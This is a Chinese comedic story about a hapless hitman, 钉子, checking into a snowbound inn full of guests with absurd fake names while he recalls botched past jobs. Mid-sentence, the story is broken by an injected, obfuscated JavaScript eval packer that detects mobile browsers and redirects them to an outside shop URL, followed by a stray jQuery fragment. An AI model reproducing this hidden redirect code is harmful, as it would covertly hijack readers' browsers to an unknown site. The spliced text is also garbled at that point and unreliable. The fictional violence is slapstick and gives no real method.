车开进暴风雪里，钉子正在跟谭健通电话。
信号不好，谭健的声音断断续续，像气泡，咕噜咕噜的。
"……听得到吗？到哪儿了？"
"快到。"钉子说。
"什么叫快到？你开的是车还是蜗牛？"
"蜗牛，叫加里。"钉子单手握着方向盘，另一只手调整了一下耳机的位置，"加里很慢，但从不迷路。"
电话那头沉默了两秒。
谭健大概在深呼吸。
他每次要骂人之前都会深呼吸，钉子数过，一般吸三口气，第四口开始骂。这次吸了两口就放弃了，大概是觉得骂了也没用。
"你听好，"谭健的声音压得很低，"这次目标不明确，买家只给了一个范围，说人在那家旅馆里。具体是谁，你自己判断。"
"一百万的生意，连名字都不给？"
"买家说，你能知道是谁。那人有罪，死不足惜。"谭健顿了顿。
钉子把空调又拧大了一格。
挡风玻璃外面全是白的，雨刷像两只发了疯的手在左右乱甩。
他想了想说："有罪的人……这范围不小。"
"所以让你自己判断。"
"海绵宝宝说过，判断力就像蟹黄堡的秘方，你得尝过无数个失败的汉堡之后才能掌握。"
谭健这次没忍住："你能不能把你那个海绵宝宝理论收一收？你是去杀人，不是去参加比奇堡的派对。"
"派对的本质和杀人的本质是一样的，"钉子把车拐上一条更窄的路，车轮碾过积雪发出咯吱咯吱的声音，"都在于营造一种意外感。"
电话里传来什么东西被捏碎的声音。
大概是谭健手里的泡面叉子。
钉子想象了一下那个画面，谭健穿着他那件永远不换的灰色西装，坐在堆满文件的小办公室里，面前摆着一碗泡面，眉毛皱成一个死结。
"总之，"谭健咬着牙说，"你到了之后先住下，观察观察。钱的事我来对接。你把事儿办了就行。"
"知道了贱贱。"
"别他妈叫我贱贱。"
钉子把电话挂了。
正好车子从一片树林里钻出来，眼前豁然开朗。
风雪之间，一栋四层楼的建筑杵在那里，外墙是暗黄色的，屋顶积了厚厚一层雪，远远看去像个蹲着的胖子。
大门上方挂着一块歪歪扭扭的招牌，字迹被雪糊了一半，勉强能认出"龙门"两个字。
龙门旅馆。
哈，好古早。
钉子把车停在门口，熄了火。
发动机最后哆嗦了两下，彻底安静下来。
暴风雪的声音一下子涌进来，像有一万个人同时在窗外叹气。
他推开车门，冷风迎面撞上来，灌进领口，沿着后背一路往下爬。
钉子缩了缩脖子，从后座扯出自己的双肩包背好，又确认了一下腰后的硬物被外套盖住了，这才往旅馆大门走。
门是那种老式的木框玻璃门，推的时候嘎吱响了一声。里面比外面暖和不了多少。
前台后面坐着个秃顶男人，估摸五十出头，穿一件深蓝色毛背心，脸上肉往下坠，嘴角叼着根没点着的烟。
他抬眼看了钉子一下，又低下去，拿手指头扒拉着面前一本皱巴巴的登记簿。
"住店？"
"住。"钉子把包放在脚边，露出一个分寸刚好的微笑。
他在镜子前练过这种笑，看起来无害，他本身就长得不错，像那种会在图书馆待一整个下午的温和青年。
一看他外表就知道他不是会做那种事的人。
"还有房间吗？"
"三楼，305。"老板把钥匙往台面上一扔，铁钥匙落在木头上，铛的一声。
"身份证。"
钉子从钱包里掏出一张卡片递过去。
上面的名字是"楚留香"，号码是一串零和一，格式完全不对，看起来像是用脚趾头敲出来的。
他每次都用这个，用了七年，从来没被识破过。有时候他怀疑这些旅馆老板到底看不看身份证。
果然，老板接过去，翻了个面，又翻了个面，然后打开登记簿，拿圆珠笔在上面歪歪扭扭地写了"楚留香"三个字和那串荒唐的号码。
哈，果然又是个黑心旅馆呢！
"一百五一晚，先付。"
钉子付了钱，拿起钥匙。他看了一眼登记簿，老板手写的字像蚯蚓爬，但上面已经有三行记录了——205、307、407。加上他，四间房住了人。
什么东西？
他又定睛看了一眼：李白、杨过、王语嫣？
还能更离谱点吗？
老板迅速抽回手，收起登记簿，白了他一眼，像是在警告他别多管闲事。
"雪这么大，客人不少啊。"钉子随口说了一句。
老板"嗯"了一声，低头做自己的事去了，没有要聊下去的意思。
钉子也就不再问。他拎着包往楼梯走，水泥台阶上还有残留的雪渣。
走廊里很暗，墙壁上贴着褪色的碎花壁纸，有些地方鼓起来，像皮肤上起了疹子。
305在走廊中间。钉子用钥匙捅了两下才把门打开，里面比他想象的好一点。至少床单是白的，虽然边角泛着灰。
一张单人床，一个床头柜，一把椅子，窗户对着后山，白茫茫一片。暖气片嗡嗡响，勉强算是工作。
他把门关上，反锁，拉上窗帘。
然后从包里掏出一个小设备贴在门缝上，确认走廊没人，这才卸下双肩包，坐在床边。
手机震了一下。谭健发来一条消息：到了？
钉子打字：到了。像海绵宝宝第一次去蟹堡王上班那样充满期待。
谭健回了一个字：滚。
钉子笑了一下。他把手机放在床头柜上，靠着枕头躺下来，盯着天花板上的一道裂缝发呆。
脑袋里开始自动回放一些东西。
这不是他愿意的，每次到一个新地方，闭上眼，那些画面就像被人按了播放键一样往外冒。
上次，他在一个海滨城市的酒店里蹲了三天三夜，目标是当地一个放高利贷的。那人的作息钉子摸得清清楚楚——每天早上七点出门，在楼下便利店买一罐热咖啡，然后步行两百米去停车场开车。钉子计划在他买咖啡的时候动手，在吸管里放东西，最简单的手法，干净利落。
结果那天早上便利店换了店员。店员一看就是新来的，居然没有按顺序拿咖啡，把那杯没毒的给了目标，有毒的给了钉子。
钉子刚喝一口，就开始口吐白沫，心想不是吧，这不是我的那杯毒咖啡吗？他扶着电线杆狂吐不止，眼见目标出门，走到马路中间，直到……被车撞了。
救护车来的时候，第一眼就看到了钉子，他好像更严重，于是拖着钉子回医院抢救，目标因抢救不及时死亡，最后责任怪罪给了肇事者和医院。
业内不知道怎么传的，到最后变成了"钉子在杀人的同时还能为自己洗干净"、“牛逼克拉斯杀手”。他的代号从"一个普通杀手"变成了"钉子"，意思是扎进去就拔不出来。
好离谱。
还有一次在重庆，他的目标是某夜总会的老板。那天下着雨，钉子打着伞蹲在对面居民楼的楼道里，瞄了三个钟头。等目标终于从后门出来，他扣扳机的前一秒，一只野猫从空调外机上跳下来，精准地砸在他瞄准镜上。子弹偏了，打碎了目标身后的玻璃门。目标吓得一个趔趄，滑倒在地，头磕在台阶上，昏过去了。
钉子扛着枪下楼的时候，目标的小弟们正围着他老板喊"老大中枪了老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795095|210489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大中枪了"，又哭又闹。没人注意到对面楼道里有个背着吉他盒的青年正往雨里走。他走过去的时候，甚至有个小弟拉住他："兄弟，帮打个120！"
钉子帮他打了。
后来那个夜总会老板被送到医院，查出了脑部的一个早期肿瘤。如果不是那一摔，再拖半年就没救了。老板感恩戴德，到处打听那个"传说中的狙击手"是谁，说要给一百万酬谢。钉子一分钱没拿到，但他在业内的名字从"钉子"升级成了"菩萨钉子"。
谭健每次提起这事都气得吃不下饭。有回钉子去他的办公室，看见桌上有碗泡面，已经泡成了面糊，谭健还在对着电脑敲键盘。
"贱贱，面凉了。"
"你走开。"谭健头也不抬。
钉子从兜里掏出一个海绵宝宝挂件，放在他桌上。"送你，派大星的，你看他笑得多开心。"
谭健终于抬起头。他看了那个挂件几秒钟，然后把泡面碗端起来，用一种"我不生气我只是想静静"的语气说："你知不知道我为了帮你洗那个名号花了多少功夫？菩萨钉子？你让同行怎么看我们？我们还能接到活吗？"
"那天不是接了。"
"那是别人点错了！发错了指令！本来要发给隔壁老王的！"
“可我已经执行了。”
“……”
“话说回来，你把人家夜总会老板吓出脑瘤了！”
“是帮他查出来了。”钉子纠正他，“他还到处感谢我。”
谭健把挂件攥在手心里，使劲攥，指节都白了。然后他松开手，把派大星放回桌面，深深吸了三口气。
第四口没骂出来。他最后说了一句："你走吧，我要干活。"
钉子就走了。
走到门口的时候回头看了一眼，谭健正对着电脑屏幕发呆，右手无意识地拨弄着那个派大星挂件的圆肚子。
天花板上的裂缝像一条分叉的小河。
钉子收回视线，翻了个身，床板嘎吱响了一声。他从包里摸出一本翻烂了的《海绵宝宝漫画合集》，随手翻开一页。
"派大星说，有时候你必须做一些你不想做的事，这样你才能做你想做的事。"
他把书合上，放在枕头边上。
外面风刮得更响了，窗户咯咯地颤。钉子闭上眼，打算眯一会儿。手机又震了一下，他懒得看，反正肯定是谭健发来骂他的。
走廊里隐约传来脚步声，噔，噔，噔，越来越近，然后停在他门口。停了大概三四秒，又走了。
钉子睁开一只眼。门缝下面什么都没有，没有纸条，没有信封。但那个脚步声让他醒了过来。
他坐起来，靠在床头，竖起耳朵听了半天。
已经晚上十一点了，窗外的雪没有停止的迹象，看样子应该没有人再入住了。
他蹑手蹑脚走下楼，看到老板不在，可能是上厕所，或者回房睡觉了，他抽出那本登记簿。
嘴角一抽。
又多了聂小倩、美男子、孙悟空、杜甫四个名字。
这样算来，算上他和老板，一共是9个人。
203两个人，205一个人，305一个，307两个，405一个，407一个。
钉子再偷偷摸摸回到房间，把海绵宝宝漫画从枕头底下抽出来，这次翻到的是蟹老板说的一句话："钱，钱，钱，这世界上所有的问题都可以用钱解决。"
他把书放下，站起来，走到窗边，把窗帘掀开一条缝往外看。后山全是白的，树被雪压弯了腰。
"一百万，"钉子对着玻璃上自己的倒影说，"海绵宝宝，你能用一百万买几份蟹黄堡？"
倒影没回答他。倒是手机终于不震了，安静下来。
钉子叹了口气，换了身衣服，转身去拉门把手。
开始执行任务。